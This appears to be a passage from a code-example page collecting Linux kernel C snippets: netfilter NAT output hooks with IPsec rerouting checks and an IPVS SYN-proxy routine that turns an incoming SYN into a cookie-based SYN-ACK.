		return NF_ACCEPT;

	ret = nf_nat_ipv4_fn(hooknum, skb, in, out, okfn);
#ifdef CONFIG_XFRM
	if (ret != NF_DROP && ret != NF_STOLEN &&
	    !(IPCB(skb)->flags & IPSKB_XFRM_TRANSFORMED) &&
	    (ct = nf_ct_get(skb, &ctinfo)) != NULL) {
		enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo);

		if ((ct->tuplehash[dir].tuple.src.u3.ip !=
		     ct->tuplehash[!dir].tuple.dst.u3.ip) ||
		    (ct->tuplehash[dir].tuple.dst.protonum != IPPROTO_ICMP &&
		     ct->tuplehash[dir].tuple.src.u.all !=
		     ct->tuplehash[!dir].tuple.dst.u.all))
			if (nf_xfrm_me_harder(skb, AF_INET) < 0)
				ret = NF_DROP;
	}
#endif
	return ret;
}
Exemple #29
0
__IMEM
#endif
static unsigned int
nf_nat_out(unsigned int hooknum,
	   struct sk_buff **pskb,
	   const struct net_device *in,
	   const struct net_device *out,
	   int (*okfn)(struct sk_buff *))
{
#ifdef CONFIG_XFRM
	struct nf_conn *ct;
	enum ip_conntrack_info ctinfo;
#endif
	unsigned int ret;

	/* root is playing with raw sockets. */
	if ((*pskb)->len < sizeof(struct iphdr) ||
	    ip_hdrlen(*pskb) < sizeof(struct iphdr))
		return NF_ACCEPT;

	ret = nf_nat_fn(hooknum, pskb, in, out, okfn);
#ifdef CONFIG_XFRM
	if (ret != NF_DROP && ret != NF_STOLEN &&
	    (ct = nf_ct_get(*pskb, &ctinfo)) != NULL) {
		enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo);

		if (ct->tuplehash[dir].tuple.src.u3.ip !=
		    ct->tuplehash[!dir].tuple.dst.u3.ip
		    || ct->tuplehash[dir].tuple.src.u.all !=
		       ct->tuplehash[!dir].tuple.dst.u.all
		    )
			return ip_xfrm_me_harder(pskb) == 0 ? ret : NF_DROP;
	}
#endif
	return ret;
}
Exemple #30
0
/*
 * Reuse skb for syn proxy, called by syn_proxy_syn_rcv().
 * do following things:
 * 1) set tcp options;
 * 2) compute seq with cookie func.
 * 3) set tcp seq and ack_seq;
 * 4) exchange ip addr and tcp port;
 * 5) compute iphdr and tcp check.
 *
 */
static void
syn_proxy_reuse_skb(int af, struct sk_buff *skb, struct ip_vs_synproxy_opt *opt)
{
	__u32 isn;
	unsigned short tmpport;
	unsigned int tcphoff;
	struct tcphdr *th;

#ifdef CONFIG_IP_VS_IPV6
	if (af == AF_INET6)
		tcphoff = sizeof(struct ipv6hdr);
	else
#endif
		tcphoff = ip_hdrlen(skb);

	th = (void *)skb_network_header(skb) + tcphoff;

	/* deal with tcp options */
	syn_proxy_parse_set_opts(skb, th, opt);

	/* get cookie */
	skb_set_transport_header(skb, tcphoff);
#ifdef CONFIG_IP_VS_IPV6
	if (af == AF_INET6)
		isn = ip_vs_synproxy_cookie_v6_init_sequence(skb, opt);
	else
#endif
		isn = ip_vs_synproxy_cookie_v4_init_sequence(skb, opt);

	/* Set syn-ack flag
	 * the tcp opt in syn/ack packet : 00010010 = 0x12
	 */
	((u_int8_t *) th)[13] = 0x12;

	/* Exchange ports */
	tmpport = th->dest;
	th->dest = th->source;
	th->source = tmpport;

	/* Set seq(cookie) and ack_seq */
	th->ack_seq = htonl(ntohl(th->seq) + 1);
	th->seq = htonl(isn);

	/* Exchange addresses and compute checksums */
#ifdef CONFIG_IP_VS_IPV6
	if (af == AF_INET6) {
		struct ipv6hdr *iph = ipv6_hdr(skb);
		struct in6_addr tmpAddr;

		memcpy(&tmpAddr, &iph->saddr, sizeof(struct in6_addr));
		memcpy(&iph->saddr, &iph->daddr, sizeof(struct in6_addr));
		memcpy(&iph->daddr, &tmpAddr, sizeof(struct in6_addr));

		iph->hop_limit = sysctl_ip_vs_synproxy_synack_ttl;

		th->check = 0;
		skb->csum = skb_checksum(skb, tcphoff, skb->len - tcphoff, 0);
		th->check = csum_ipv6_magic(&iph->saddr, &iph->daddr,
					    skb->len - tcphoff,
					    IPPROTO_TCP, skb->csum);
	} else
#endif
	{
		struct iphdr *iph = ip_hdr(skb);
		__be32 tmpAddr;

		tmpAddr = iph->saddr;
		iph->saddr = iph->daddr;
		iph->daddr = tmpAddr;

		iph->ttl = sysctl_ip_vs_synproxy_synack_ttl;
		iph->tos = 0;

		ip_send_check(iph);

		th->check = 0;
		skb->csum = skb_checksum(skb, tcphoff, skb->len - tcphoff, 0);
		th->check = csum_tcpudp_magic(iph->saddr, iph->daddr,
					      skb->len - tcphoff,
					      IPPROTO_TCP, skb->csum);
	}
}